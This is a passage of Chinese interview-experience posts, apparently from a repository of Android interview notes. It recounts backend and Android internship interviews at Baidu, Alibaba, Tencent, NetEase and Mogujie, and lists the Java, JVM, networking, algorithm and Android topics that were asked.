服务器的负载均衡\n\n12.linux中如何查看进程等命令\n\n13.两条相交的单向链表，如何求他们的第一个公共节点\n\n很简单的链表题目，博客上的做法一搜一大把，我记得当时答在兴头上，又给面试官解释了一下如何求单向局部循环链表的入口，链表中很经典的问题（其实链表也就那几个常用算法，比如逆制、求倒数第K个节点，判断是否有环等）\n\n大概八十分钟吧，最后问面试官有没有对我的意见或者建议，面试官说觉得我今晚的面试表现比简历上写的更出色。。。对面试官的好感度瞬间飙升\n\n二面：可能一面面试官对我的评价还算不错，二面面试官一口气考了我11个设计模式（手动微笑），对，是11个设计模式，有直接提问，也有在场景设计中引导我使用。总共加起来11个，分别是：单例模式、简单工厂模式、工厂模式、抽象工厂模式、策略模式、观察者模式、组合模式、适配器模式、装饰模式、代理模式、外观模式。然后就是设计一个公司下有部门、部门下有经理和员工，经理可以管理经理和员工这样的一个模型，组合模式一套用就行了。后面还问了几个非技术问题，比如和产品、测试发生矛盾了怎么处理，答应的任务发现完成不了该如何处理等，大家如果遇到请随意装逼。 \n\n百度给我最大的印象就是每次新的面试，面试官一定会问什么时候能来实习，能够实习多长时间，答案符合要求了才进行下面的面试。据说百度今年要求6个月的实习时间，回答两三个月的都再无下文。 \n\n机智的我不管哪家公司问都是说从即日起到大四毕业，中间出了期末考试和毕业设计，都能参与实习，近期就能参加实习。不是故意想骗人，只是目前还没有和HR谈条件的筹码，这样说了就算最后去不了，也算是一次面试机会，如果一开始就拒绝的话，连面试机会都没有。等到技术面试结束了，跟一开始比，就有了谈条件的筹码，这个时候大家再根据情况合理要价\n\n三月的CVTE、四月的百度，现在该说五月的阿里了\n\n## 三、阿里巴巴 \n\n阿里巴巴其实同样的简历，在内推阶段直接简历被刷，非常尴尬。但是有幸笔试蜜汁通过，所以收到了参加现场面试的通知。 \n\n一面：一面的面试官长得超级像张家辉，整个面试过程，我满脑子都是《激战》里面的老拳王，当他朝我提问的时候，我就想到激战里面的经典台词“怕输，你就会输一辈子”。不知道面试官老师有没有看出我表情的异样~闲话不多说，上干货。 \n\n## 1. 二叉树的遍历方式，前序、中序、后序和层序\n\n二叉树本身就是一个递归的产物，那前序举例，访问根节点，然后左节点，再右节点，如果左节点是一棵子树，那么就先访问左子树的根节点，再访问左子树的左节点，依次递归；而层序，使用队列进行辅助，实现广度优先搜索 \n\n## 2. volatile关键字\n\n给大家推荐两本书：《Java多线程实战》和《Java并发编程的艺术》，这会儿已经三点了，脑子有点乱书名可能未必无误。对Java实现多线程描述的非常详细。现场跟面试官老师扯了很多，我在这里挑主要的说 \n\nvolatile关键字是Java并发的最轻量级实现，本质上有两个功能，在生成的汇编语句中加入LOCK关键字和内存屏障 \n\n作用就是保证每一次线程load和write两个操作，都会直接从主内存中进行读取和覆盖，而非普通变量从线程内的工作空间（默认各位已经熟悉Java多线程内存模型） \n\n但它有一个很致命的缺点，导致它的使用范围不多，就是他只保证在读取和写入这两个过程是线程安全的。如果我们对一个volatile修饰的变量进行多线程下的自增操作，还是会出现线程安全问题。根本原因在于volatile关键字无法对自增进行安全性修饰，因为自增分为三步，读取-》+1-》写入。中间多个线程同时执行+1操作，还是会出现线程安全性问题。 \n\n## 3. synchronized\n\n- 锁的优化：偏向锁、轻量级锁、自旋锁、重量级锁\n- 锁的膨胀模型，以及锁的优化原理，为什么要这样设计\n- 与Concurrent包下的Lock的区别和联系 \n\nLock能够实现synchronized的所有功能，同时，能够实现长时间请求不到锁时自动放弃、通过构造方法实现公平锁、出现异常时synchronized会由JVM自动释放，而Lock必须手动释放，因此我们需要把unLock()方法放在finally{}语句块中 \n\n## 4. concurrentHashMap\n\n两个hash过程，第一次找到所在的桶，并将桶锁定，第二次执行写操作。 \n\n而读操作不加锁，JDK1.8中ConcurrentHashMap从1600行激增到6000行，中间做了很多细粒度的优化，大家可以查一下。 \n\n## 5. 锁的优化策略\n\n- 读写分离 \n- 分段加锁 \n- 减少锁持有的时间 \n- 多个线程尽量以相同的顺序去获取资源 \n\n等等，这些都不是绝对原则，都要根据情况，比如不能将锁的粒度过于细化，不然可能会出现线程的加锁和释放次数过多，反而效率不如一次加一把大锁。这部分跟面试官谈了很久 \n\n## 6. 操作系统\n\n这部分基本是跪着跟面试官交流的，因为非计算机专业，对这个楼主确实比较欠缺 \n\n不过好在前面的表现还可以，顺利通过了。 \n\n二面：十分钟休息，二面面试官先问了一些无关紧要的问题，比如学校的专业课、平时如何学习新技术等等，然后切入正题，让我选一个熟悉的项目，三分钟画出大体架构图，我在项目部分的准备还算充分，但是面试官真的水平非常高。 \n\n在项目部分，可能是我整个阿里面试过程中最提心吊胆的，缓存的使用，如果现在需要实现一个简单的缓存，供搜索框中的ajax异步请求调用，使用什么结构？我回答ConcurrentHashMap，可是内存中的缓存不能一直存在，用什么算法定期将搜索权重较低的entry去掉？我说先按热度递减放进一个CopyOnWriteArrayList中，保留前多少个然后再存回ConcurrentHashMap中，面试官说效率过低，有没有更高效的算法，我假装冥思苦想（用假装其实是因为，确实想不到方法） \n\n后来面试官说其实这个问题有点难了，换一个，又跟我扯到线程的问题，大体就跟一面面试官问的差不多，就不赘述了。这部分感觉面试官还比较满意，就问题TCP如何保证安全性，我说三次握手、四次回收、超时重传、保序性、奇偶校验、去重、拥塞控制。还讲了滑动窗口模型。 \n\n后面又考了一些红黑树的问题，问到B+数，还有JDK1.8中对HashMap的增强，如果一个桶上的节点数量过多，链表+数组的结构就会转换为红黑树。 \n\n面试官问我项目中使用的单机服务器，如果将它部署成分布式服务器？我当时心里一惊，这个问题确实没有准备过，眼看就要被问死了，临时抖了个机灵，说有一次跟一个师兄尝试这么做的时候，遇到了session共享问题，然后成功地把面试官引向了session共享的问题，跟他讨论了10分钟左右的分布式系统中如何做到session共享。后面面试官可能也觉得我这部分\n\n手写一个线程安全的单例模式，经典的不能再经典，没什么好说的，懒汉饿汉随便选一个。 \n\n还有一些MySQL的常见优化方式、定为慢查询等，回答的七七八八，之前面试总结的问题还有印象，所以感谢自己有面试完及时总结的习惯。 \n\n最后问了问我平时都如何学习、最近都在看什么书，来实习的话学校的考试如何解决等等。 \n\n面试官告诉我他的问题已经问完了，我看没有让我提问的意思，所以我起身跟面试官握了个手（我在参加现场面试的时候有这样的习惯，握手的同时跟面试官强调，“我很珍惜这次面试机会”） \n\n二面出来之后挺紧张的，感觉自己答的还是有很多漏洞，可能面试官虽然发现了，但是觉得我态度不错，虚心学习，所以还是很幸运到了HR面，HR面就不多说了，只要不跟HR乱提要求，比如不考虑某某城市之类的作死要求，再跟HR好好谈谈我们对知识的渴望、希望得到锻炼的决心，我觉得都没什么问题（网易除外，都是泪） \n\n我还重点给HR讲了一下我对项目的反思，哪些地方可以做的更好。又把一次学习新技术时间又很紧的尽力夸大了一下，HR听完之后表示非常羡慕我们这样搞技术的，感觉每天做的事情都很有激情。 \n\n最后就是经过三天的等待，顺利拿到阿里巴巴的实习offer \n\n楼主从三月初到现在，基本能叫的出来的公司都参加了各种面试，很惭愧拿到offer的只有这三家。但是经过大大小小二三十次的面试，我觉得对一个后台程序员来说，重要的不只是语言，还有数据结构算法、网络基础、并发、数据库、设计模式、操作系统、linux等等很多很多技术需要掌握。我就有很强烈的感觉，单论Java，在楼主的周围其实有很多比楼主强得多的人，可是他们有的人面试一直不顺利，原因就在于其他的知识点相对薄弱。这点在阿里巴巴面试中就体现的很深刻。最后HR问我作为非计算机专业学生，什么专业课没有学到最让我遗憾？我回答网络基础、操作系统、计算机组成原理和系统的数据库知识体系。虽然侥幸拿到了阿里巴巴的offer，但这一次的面试让我深深地看到了自己差距。跟二面面试官交流的时候，他考我项目，我就拼命想把他往框架上拉，想解释hibernate和Spring还有mybatis，结果面试官一次也没有上当。每当我说这些的时候，面试官就会打断我，说我不用解释框架，我们就建立在这些东西都双方都清楚的基础上。所以真心劝各位准备面试的朋友们，多重视基础。基础能够决定学习能力和思维方式，而学习能力和思维方式最终决定一个程序员能走多远。\n\n以上是我对春招面试的部分总结，手上还有十份左右的手写面经，都是每次面试完当天晚上自己总结的，有需要的朋友可以私信我。 \n\n最后祝看完这篇文章额所有朋友，找到自己心仪的工作，程序员都不容易。 \n\n最后的最后，牛客在过年到现在这段时间对我的帮助非常大，有我寒假怒刷2000题，也有后面疯狂提交代码（疯狂报错），是金子总会发光，在我的带动下，整个实验室都在刷题，总之祝牛客网越办越好\n"
  },
  {
    "path": "docs/android/Android-Interview/经验分享/面试心得与总结：BAT、网易、蘑菇街 .md",
    "content": "之前实习的时候就想着写一篇面经，后来忙就给忘了，现在找完工作了，也是该静下心总结一下走过的路程了，我全盘托出，奉上这篇诚意之作，希望能给未来找工作的人一点指引和总结，也希望能使大家少走点弯路，如果能耐心读完，相信对你会找到你需要的东西。\n\n先说一下LZ的基本情况，LZ是四川某985学校通信专业的研究生（非计算机），大学阶段也就学了C语言，根本没想过最后要成为码农。大四才开始学java，研一下开始学android，所以LZ觉得自己开始就是一个小白，慢慢成长起来的。\n\n## 1. 心态\n\n心态很重要！\n心态很重要！\n心态很重要！\n\n重要的事情说三遍，这一点我觉得是必须放到前面来讲。\n\n找工作之前，有一点你必须清楚，就是找工作是一件看缘分的事情，不是你很牛逼，你就一定能进你想进的公司，都是有一个概率在那。如果你基础好，项目经验足，同时准备充分，那么你拿到offer的概率就会比较高；相反，如果你准备不充分，基础也不好，那么你拿到offer的概率就会比较低，但是你可以多投几家公司，这样拿到offer的几率就要大一点，因为你总有运气好的时候。所以，不要惧怕面试，刚开始失败了没什么的，多投多尝试，面多了你就自然能成面霸了。得失心也不要太重，最后每个人都会有offer的。\n\n还有一个对待工作的心态，有些人可能觉得自己没有动力去找一个好工作。其实你需要明白一件事情，你读了十几二十年的书，为的是什么，最后不就是为了找到一个好工作么。现在到了关键时刻，你为何不努力一把呢，为什么不给自己一个好的未来呢，去一个自己不满意的公司工作，你甘心吗?\n\n想清楚这一点，我相信大多数人都会有一股干劲了，因为LZ刚刚准备开始找实习的时候，BAT这种公司想都不敢想，觉得能进个二线公司就很不错了，后来发现自己不逼自己一把，你真不知道自己有多大能耐，所以请对找工作保持积极与十二分的热情，也请认真对待每一次笔试面试。\n\n## 2. 基础\n\n基础这东西，各个公司都很看重，尤其是BAT这种大公司，他们看中人的潜力，他们舍得花精力去培养，所以基础是重中之重。之前很多人问我，项目经历少怎么办，那就去打牢基础，当你的基础好的发指的时候，你的其他东西都不重要了。\n\n基础无外乎几部分：语言（C/C++或java），操作系统，TCP/IP，数据结构与算法，再加上你所熟悉的领域。这里面其实有很多东西，各大面试宝典都有列举。\n\n在这只列举了Android客户端所需要的和我面试中所遇到的知识点，尽量做到全面，如果你掌握了以下知识点，去面android客户端应该得心应手。\n\n### J2SE基础\n\n1.九种基本数据类型的大小，以及他们的封装类。\n2.Switch能否用string做参数？\n3.equals与==的区别。\n4.Object有哪些公用方法？\n5.Java的四种引用，强弱软虚，用到的场景。\n6.Hashcode的作用。\n7.ArrayList、LinkedList、Vector的区别。\n8.String、StringBuffer与StringBuilder的区别。\n9.Map、Set、List、Queue、Stack的特点与用法。\n10.HashMap和HashTable的区别。\n11.HashMap和ConcurrentHashMap的区别，HashMap的底层源码。\n12.TreeMap、HashMap、LindedHashMap的区别。\n13.Collection包结构，与Collections的区别。\n14.try catch finally，try里有return，finally还执行么？\n15.Excption与Error包结构。OOM你遇到过哪些情况，SOF你遇到过哪些情况。\n16.Java面向对象的三个特征与含义。\n17.Override和Overload的含义去区别。\n18.Interface与abstract类的区别。\n19.Static class 与non static class的区别。\n20.java多态的实现原理。\n21.实现多线程的两种方法：Thread与Runable。\n22.线程同步的方法：sychronized、lock、reentrantLock等。\n23.锁的等级：方法锁、对象锁、类锁。\n24.写出生产者消费者模式。\n25.ThreadLocal的设计理念与作用。\n26.ThreadPool用法与优势。\n27.Concurrent包里的其他东西：ArrayBlockingQueue、CountDownLatch等等。\n28.wait()和sleep()的区别。\n29.foreach与正常for循环效率对比。\n30.Java IO与NIO。\n31.反射的作用于原理。\n32.泛型常用特点，List<String>能否转为List<Object>。\n33.解析XML的几种方式的原理与特点：DOM、SAX、PULL。\n34.Java与C++对比。\n35.Java1.7与1.8新特性。\n36.设计模式：单例、工厂、适配器、责任链、观察者等等。\n37.JNI的使用。\n\nJava里有很多很杂的东西，有时候需要你阅读源码，大多数可能书里面讲的不是太清楚，需要你在网上寻找答案。\n\n推荐书籍：《java核心技术卷I》《Thinking in java》《java并发编程》《effictive java》《大话设计模式》\n\n### JVM\n\n1.内存模型以及分区，需要详细到每个区放什么。\n2.堆里面的分区：Eden，survival from to，老年代，各自的特点。\n3.对象创建方法，对象的内存分配，对象的访问定位。\n4.GC的两种判定方法：引用计数与引用链。\n5.GC的三种收集方法：标记清除、标记整理、复制算法的原理与特点，分别用在什么地方，如果让你优化收集方法，有什么思路？\n6.GC收集器有哪些？CMS收集器与G1收集器的特点。\n7.Minor GC与Full GC分别在什么时候发生？\n8.几种常用的内存调试工具：jmap、jstack、jconsole。\n9.类加载的五个过程：加载、验证、准备、解析、初始化。\n10.双亲委派模型：Bootstrap ClassLoader、Extension ClassLoader、ApplicationClassLoader。\n11.分派：静态分派与动态分派。\n\nJVM过去过来就问了这么些问题，没怎么变，内存模型和GC算法这块问得比较多，可以在网上多找几篇博客来看看。\n\n推荐书籍：《深入理解java虚拟机》\n\n### 操作系统\n\n1.进程和线程的区别。\n2.死锁的必要条件，怎么处理死锁。\n3.Window内存管理方式：段存储，页存储，段页存储。\n4.进程的几种状态。\n5.IPC几种通信方式。\n6.什么是虚拟内存。\n7.虚拟地址、逻辑地址、线性地址、物理地址的区别。\n\n因为是做android的这一块问得比较少一点，还有可能上我简历上没有写操作系统的原因。\n\n推荐书籍：《深入理解现代操作系统》\n\n### TCP/IP\n\n1.OSI与TCP/IP各层的结构与功能，都有哪些协议。\n2.TCP与UDP的区别。\n3.TCP报文结构。\n4.TCP的三次握手与四次挥手过程，各个状态名称与含义，TIMEWAIT的作用。\n5.TCP拥塞控制。\n6.TCP滑动窗口与回退N针协议。\n7.Http的报文结构。\n8.Http的状态码含义。\n9.Http request的几种类型。\n10.Http1.1和Http1.0的区别\n11.Http怎么处理长连接。\n12.Cookie与Session的作用于原理。\n13.电脑上访问一个网页，整个过程是怎么样的：DNS、HTTP、TCP、OSPF、IP、ARP。\n14.Ping的整个过程。ICMP报文是什么。\n15.C/S模式下使用socket通信，几个关键函数。\n16.IP地址分类。\n17.路由器与交换机区别。\n\n网络其实大体分为两块，一个TCP协议，一个HTTP协议，只要把这两块以及相关协议搞清楚，一般问题不大。\n\n推荐书籍：《TCP/IP协议族》\n\n### 数据结构与算法\n\n1.链表与数组。\n2.队列和栈，出栈与入栈。\n3.链表的删除、插入、反向。\n4.字符串操作。\n5.Hash表的hash函数，冲突解决方法有哪些。\n6.各种排序：冒泡、选择、插入、希尔、归并、快排、堆排、桶排、基数的原理、平均时间复杂度、最坏时间复杂度、空间复杂度、是否稳定。\n7.快排的partition函数与归并的Merge函数。\n8.对冒泡与快排的改进。\n9.二分查找，与变种二分查找。\n10.二叉树、B+树、AVL树、红黑树、哈夫曼树。\n11.二叉树的前中后续遍历：递归与非递归写法，层序遍历算法。\n12.图的BFS与DFS算法，最小生成树prim算法与最短路径Dijkstra算法。\n13.KMP算法。\n14.排列组合问题。\n15.动态规划、贪心算法、分治算法。（一般不会问到）\n16.大数据处理：类似10亿条数据找出最大的1000个数...等等\n\n算法的话其实是个重点，因为最后都是要你写代码，所以算法还是需要花不少时间准备，这里有太多算法题，写不全，我的建议是没事多在OJ上刷刷题（牛客网、leetcode等），剑指offer上的算法要能理解并自己写出来，编程之美也推荐看一看。\n\n推荐书籍：《大话数据结构》《剑指offer》《编程之美》\n\n### Android\n\n1.Activity与Fragment的生命周期。\n2.Acitivty的四中启动模式与特点。\n3.Activity缓存方法。\n4.Service的生命周期，两种启动方法，有什么区别。\n5.怎么保证service不被杀死。\n6.广播的两种注册方法，有什么区别。\n7.Intent的使用方法，可以传递哪些数据类型。\n8.ContentProvider使用方法。\n9.Thread、AsycTask、IntentService的使用场景与特点。\n10.五种布局：FrameLayout、LinearLayout、AbsoluteLayout、RelativeLayout、TableLayout、GridLayout，各自特点及绘制效率对比。\n11.Android的数据存储形式。\n12.Sqlite的基本操作。\n13.Android中的MVC模式。\n14.Merge、ViewStub的作用。\n15.Json有什么优劣势。\n16.动画有哪两类，各有什么特点？\n17.Handler、Loop消息队列模型，各部分的作用。\n18.怎样退出终止App。\n19.Asset目录与res目录的区别。\n20.Android怎么加速启动Activity。\n21.Android内存优化方法：ListView优化，及时关闭资源，图片缓存等等。\n22.Android中弱引用与软引用的应用场景。\n23.Bitmap的四中属性，与每种属性队形的大小。\n24.View与View Group分类。自定义View过程：onMeasure()、onLayout()、onDraw()。\n25.Touch事件分发机制。\n26.Android长连接，怎么处理心跳机制。\n27.Zygote的启动过程。\n28.Android IPC:Binder原理。\n29.你用过什么框架，是否看过源码，是否知道底层原理。\n30.Android5.0、6.0新特性。\n\nAndroid的话，多是一些项目中的实践，使用多了，自然就知道了，还有就是多逛逛一些名人的博客，书上能讲到的东西不多。另外android底层的东西，有时间的话可以多了解一下，加分项。\n\n推荐书籍：《疯狂android讲义》《深入理解android》\n\n其他综合性的书籍也需要阅读，推荐：《程序员面试笔试宝典》《程序员面试金典》。另外“牛客网www.newcoder.com”是个好地方，里面有各种面试笔试题，也有自己在线的OJ，强烈推荐，还有左程云老师的算法视屏课（已经出书了），反正我看了之后对我帮助很大（这不是植入广告）。\n\n## 3. 项目\n\n关于项目，这部分每个人的所做的项目不同，所以不能具体的讲。项目不再与好与不好，在于你会不会包装，有时候一个很low的项目也能包装成比较高大上的项目，多用一些专业名词，突出关键字，能使面试官能比较容易抓住重点。在聊项目的过程中，其实你的整个介绍应该是有一个大体的逻辑，这个时候是在考验你的表达与叙述能力，所以好好准备很重要。\n\n面试官喜欢问的问题无非就几个点：\n\n1.XXX（某个比较重要的点）是怎么实现的？\n2.你在项目中遇到的最大的困难是什么，怎么解决的？\n3.项目某个部分考虑的不够全面，如果XXXX，你怎么优化？\n4.XXX（一个新功能）需要实现，你有什么思路？\n\n其实你应该能够预料到面试官要问的地方，请提前准备好，如果被问到没有准备到的地方，也不要紧张，一定要说出自己的想法，对不对都不是关键，主要是有自己的想法，另外，你应该对你的项目整体框架和你做的部分足够熟悉。\n\n## 4. 其他\n\n你应该问的问题\n\n面试里，最后面完之后一般面试官都会问你，你有没有什么要问他的。其实这个问题是有考究的，问好了其实是有加分的，一般不要问薪资，主要应该是：关于公司的、技术和自身成长的。\n\n以下是我常问的几个问题，如果需要可以参考：\n\n1.贵公司一向以XXX著称，能不能说明一下公司这方面的特点？\n2.贵公司XXX业务发展很好，这是公司发展的重点么？\n3.对技术和业务怎么看？\n4.贵公司一般的团队是多大，几个人负责一个产品或者业务？\n5.贵公司的开发中是否会使用到一些最新技术？\n6.对新人有没有什么培训，会不会安排导师？\n7.对Full Stack怎么看？\n8.你觉得我有哪些需要提高的地方？\n\n### 知识面\n\n除了基础外，你还应该对其他领域的知识有多少有所涉猎。对于你所熟悉的领域，你需要多了解一点新技术与科技前沿，你才能和面试官谈笑风生。\n\n### 软实力\n\n什么是软实力，就是你的人际交往、灵活应变能力，在面试过程中，良好的礼节、流畅的表达、积极的交流其实都是非常重要的。很多公司可能不光看你的技术水平怎么样，而更看重的是你这个人怎么样的。所以在面试过程中，请保持诚信、积极、乐观、幽默，这样更容易得到公司青睐。\n\n很多时候我们都会遇到一个情况，就是面试官的问题我不会，这时候大多数情况下不要马上说我不会，要懂得牵引，例如面试官问我C++的多态原理，我不懂，但我知道java的，哪我可以向面试官解释说我知道java的，类似的这种可以往相关的地方迁移（但是需要注意的是一定不要不懂装懂，被拆穿了是很尴尬的），意思就是你要尽可能的展示自己，表现出你的主动性，向面试官推销自己。\n\n还有就是遇到智力题的时候，不要什么都不说，面试官其实不是在看你的答案，而是在看你的逻辑思维，你只要说出你自己的见解，有一定的思考过程就行。\n\n## 5. 面经\n\nLZ应聘的职位都是android客户端开发。\n\n面经其实说来话长，包括实习的话面过的公司有：CVTE、腾讯、阿里、百度、网易、蘑菇街、小米。最早得追溯到到今年3月份，那时候刚过完年，然后阿里的实习内推就开始了，我基本都没什么准备，就突如其来的接到了人生中第一个面试电话。\n\n### 阿里实习内推一面\n\n电话面试，\n由于是第一次面试，所以非常紧张，项目都没怎么说清楚。然后面试官就开始问项目细节了，这里我关于一个项目细节和面试官有不同的看法，面试官说我这样做有问题，然后我说我们确实是这样做的，并没有出什么错，差点和面试官吵起来，最后我还是妥协了。然后问了我一个怎么对传输的数据加密，我答的很挫，然后面试官就开始鄙视我：你这个基础不好，那个基础不好，那你说说你还有其他什么优势没？Blabla紧张的说了一些…………只面了30分钟不到，然后妥妥的就挂了。\n\n经过这次面试突然感觉人生的艰辛，几天后我们教研室的其他同学陆续开始了面试，他们都很顺利，其中我的室友（单程车票）很顺利的拿到了offer，他是个大神，然后我就压力无比的大。制定了整套复习计划，从早上9点看书看到晚上10点。\n\n到了3月15号左右有CVTE面试，第一次面试是群面，比较坑，坐了一个小时的车过去群面了5分钟，没什么好说的。\n\n### CVTE实习面\n\n在自我介绍和项目后，面试官开始问一些java基础，object有哪些方法？这个还能说了一些。问hashmap有多大，这个当时一脸茫然，还sb的答了一个65535。然后面试官让我写三分钟内写一个二分查找，当时也是第一次手写代码，并且还计时，完全没经验，最后超时写了出来。中间又问了我一堆基础，都答得不是很完整。最后问我遇到过OOM的情况没有，什么情况下会OOM。这个也没答出来，然后又妥妥的挂了。\n\n这次经历告诉我，我是缺少面试经验，和现场写代码的能力，基础还需要多加强。所以我开始各种准备，在一个月的时间里看了四本面试书（程序员面试宝典、java程序员面试宝典、程序员面试笔试宝典、剑指offer），把所有关于数据结构和算法的东西用代码写了一遍。\n\n然后到了四月初，腾讯来了，我最开始还是非常向往腾讯的，但就当时那个情况，我对自己不报太大希望，觉得能进BAT这样的顶级公司是个奢侈的梦想。\n\n腾讯的面试是在一个5星级酒店里面，逼格高大上，感觉问的东西也比较多，感觉喜欢问智力题，但是我没遇到。 \n\n### 腾讯实习1面\n\n50分钟左右，\n面试的时候还是有些紧张的，但是运气好，遇到了一个学校的师兄，他一直叫我不要紧张。几个比较关键的问题：死锁的必要条件，怎么解决，java和c++比有什么优势，java同步方法，activity生命周期，中间让我设计了个银行排队系统，我说了一堆。然后让我写了一个计算一个int里面二进制有几个1，然后我用最高效的方法（n=n&n-1）写出来之后，面试官有点意外，还说没见过这么写的，让我跟他解释一下。后面就是拉拉家常，问我对工作地点怎么看，让我对比qq和微信，一面出来之后，面试官让我留意通知，心想是过了，其实发挥的不怎么好。\n\n就在会学校的路上，都要到学校了，收到了腾讯二面的通知，下午3点。然后我又跑回去二面。\n\n### 腾讯实习2面\n\n二面是一个很严肃的人，看上去就比较资深那种，一直都不笑，后面才知道是手机管家T4的专家。一开始就问我项目里，心跳包是怎么设计的，我项目里并没有用心跳，然后只能跟他说没做，问我用json传输数据有什么不好（我只知道用哪想过有什么不好）。又问了http和socket的区别，两个协议哪个更高效一点，遇到过java内存泄露没有，用过哪些调试java内存工具，java四种引用。多数都是项目上的东西，基础的东西没问太多，然后感觉自己答的不是很好，很多都不知道，而且还答错了。其实我感觉我应该是过不了的，但是最后我问问题的时候，我让他评价下我的表现，他说不好评价，我自己说了一堆，说在学校里确实见识到的东西比较少，很多东西没考虑全面，然后他表示赞同，和我探讨了一番，我觉得最后这个问题给我加了不少分。二面也面了50分钟左右。\n\n回来后发现我的状态一直没变，而他们二面完了的都到了HR面了，我以为我已经挂定了，后来在一天晚上12点的时候，惊喜的收到了第二天HR面的短信，当晚上几乎高兴得一晚上没睡着觉。\n\n### 腾讯实习3面（HR）\n\n就是hr面，也就面了十几分钟，聊聊天，问问哪的人，未来什么打算的等等，基本不怎么挂人就不详细写了。\n\n就这样拿到了人生中第一个实习offer。\n\n后面找实习的心就放松了，没有复习了。然后到了5月5号，阿里来了。对阿里也只是想去面一面的心态了，因为已经有腾讯的offer了，就没想太多。\n\n### 阿里实习1面\n\n面过腾讯之后发现自己已经比较淡定了，面试得时候能够比较好的交谈了。这一面也遇到一个比较好的面试官，能很轻松的和他交流。主要的问题是android的：activity的生命周期、activity的四种启动模式（当时忘了一些没答全）、线性布局和相对布局、多线程请求，java GC算法与GC方法，内存模型，有一个比较特别的问题是问我微信的朋友圈怎么设计，然后我把思路跟他说了，其他的就是问了项目相关的了。还问了我一个觉得技术深度重要还是技术宽度重要，一面感觉还是比较基础的。\n\n\n### 阿里实习2面\n\n这一面就比较虐心，碰到一个阿里云的CTO，一上去项目看都不看，直接问我写过多少行代码，我说至少3、4万行，然后他让我写了两个题：一个找素数，一个递归求阶层，对我也算手下留情（他后来让我同学写AVL树的插入算法，想想也是醉了）。后面就各种基础了，java的基础挨个问了一遍，比较关键多线程实现，锁的几种等级等，反射的用法，wait()和sleep()（讨论这个的时候他把我说晕了），Java还好，多数能应付，然后他就开始问c++的了。虽然是基础，但是lz忘了差不多了，什么指针数组和数组指针，虚函数，多态实现（这个我扯到java上了）等等，问了很多，很多都没答上来，然后他说我基础不太好（我想说我简历上写的了解C++，为什么要追着我问TT）。\n\n\n就这样出来了，本来以为挂了，后面被通知过了。同学都只有2面技术面，我居然多了一面，叫交叉面试，心想这下肯定完了。\n\n### 阿里实习3面\n\n这一面遇到了后面我去实习时候的部门boss，人非常好，来的时候走的时候都要和我握手，非常的平易近人。这一面还是问项目上的一些东西居多，基础就问了个java多线程，各个排序的时间复杂度、思想。技术问了半个小时，后面半个小时就开始各种聊人生了（@_@），我家是哪的，父母干嘛的，中学怎么样，大学怎么样，等等，完全就不像是技术面嘛（后来才知道，我一个同学一开始来就和他聊人生，还聊过了。再次感叹找工作是看缘分呐）。\n\n### 阿里实习4面（HR）\n\n阿里hr比腾讯hr面专业，面了一个小时，把我的生活经历趴了一遍，（问了类似你的优缺点，最让你高兴的一件事，最让你伤心的一件事，你的职业规划，你的理想等等，这种，现在想不起来了）也没什么特别好说的。\n\n面完后第二天去圆桌签offer，就这样又拿到了阿里的实习offer。\n\nLZ后面衡量了杭州阿里B2B和广州腾讯MIG，最后选择去了阿里，因为在总部，感觉大boss人比较好，发展前途可能不错，而且留下来的几率比较大，而腾讯是一个分部门，感觉可能不是很有前景（但是后来了解到其实广州腾讯MIG发展前景非常好，环境也非常和谐，我同学去实习的都留下来了。哎，只能感叹选择是个大问题）。在阿里实习的两个月时间也挺愉快的，学到了不少东西，也认识了很好的师兄和主管，只因最后被拥抱了变化没有拿到正式offer。\n\n实习面经就已经写完了，后面是正式找工作的经历，主要是内推比较多：腾讯、网易、蘑菇街、小米，校招就面了家百度。\n\n在阿里实习的时候，面了网易和蘑菇街。\n\n网易面试是我面了这么多中，问得最专业的了。\n\n### 网易内推1面\n\n电话面，一天在里中午休息的时候面的。这一面我面得很烂，由于在阿里实习，面试官恰好也在阿里呆过，问了我在阿里学到了哪些东西，看过哪些框架，看过源码没有，我支支吾吾说了一些，面试官不太满意（我表示我都说不全啊，在阿里就来了不久，哪那么多时间看源码）。项目各种细节问一通之后，开始问基础，Http报文结构，Handler、Looper模型，ThreadLocal（这个LZ当时没答上来），怎么使service不被杀死，android内存优化，自己实现线程队列模型，问我怎么设计（这个当时被前面的问题问蒙了，直接说不知道了），面了20+分钟，感觉答得都不怎么好，然后面试官问我说还有没有什么比较擅长的他没有问道的，我就把android Framework里zygote的启动和Binder通信说了一遍（这里强行装了一次逼）。\n\n面完之后本以为挂定了，然后师姐跟我说居然过了，也是够神奇，我觉得是我后面补充的内容救了我。\n\n### 网易内推2面\n\n二面是现场面，就在阿滨江区的隔壁。时间是一天中午，吃了饭就到了隔壁。面试官是个比较年轻人，可能大不了我几岁，也是非常好说话，开始也是聊项目，我把在阿里做的app和自己写的小框架拿出来，他就指着上面各种问，这里怎么实现，会有什么问题，你怎么解决，然后他描述了一个场景说，两个activity，前面的是个dialog activity，怎么在dialog activity存在的情况下改变后面的activity（lz答的用广播）。android怎么解决缓存，要是内存超了怎么办？然后扯到了JVM，GC判定算法与方法，哪个区域用什么GC算法，怎么改进复制算法。然后是基础，也像一面一样问了一些，hashmap和concurrntHashmap的区别、泛型能否强制转换。然后是算法，问了快排和归并的平均时间复杂度与最差时间复杂度，出了个算法题：怎么找到一个随机数组的前50大数、中间50大数，（这个用最小堆和partition函数），复杂度是多少。\n\n面完之后其实感觉还不错，基本都打答上来了，顺利进入三面。\n\n### 网易内推3面（HR）\n\nhr面也是现场，也聊了很多，问我为什么要从阿里来网易，有什么打算，你看中网易的什么（主要是针对我是在阿里实习来问的，我就讲了一堆网易的优势），让来杭州工作愿不愿意。还跟我说了，这次内推是优中选优，有名额限制，如果没有通过，请继续关注网易校招。\n\n后面让师姐查了下状态，状态显示是三面已通过。但是最后没有收到offer，还是有点小失望。\n\n蘑菇街面试感觉比较基础，没有什么技术难度。\n\n### 蘑菇街内推1面\n\n电话面，也是在一个中午面的。18分钟，问了一些项目，主要是问基础、问得非常基础：Arraylist与LinkedList区别，String与StringBuffer用法，HashMap与HashTable区别，Synchronized用法等等等等（非常基础），这不一一列举了，然后很顺利的就过了。\n\n2面是在20天后了，也不知道蘑菇街出了什么岔子。\n\n\n### 蘑菇街内推2面\n\n也是电话面，CTO面试，就整体聊了项目，我在项目中学到了什么，遇到什么困难怎么解决的，在阿里实习学到了哪些东西，有看过源码么，我的优缺点，我为什么选择蘑菇街，我了解蘑菇街哪些东西。最后答完感觉自己答得还行但是也没有过，不知道为什么。\n\n小米是投的内推精英计划，50个名额，解决北京户口。\n\n### 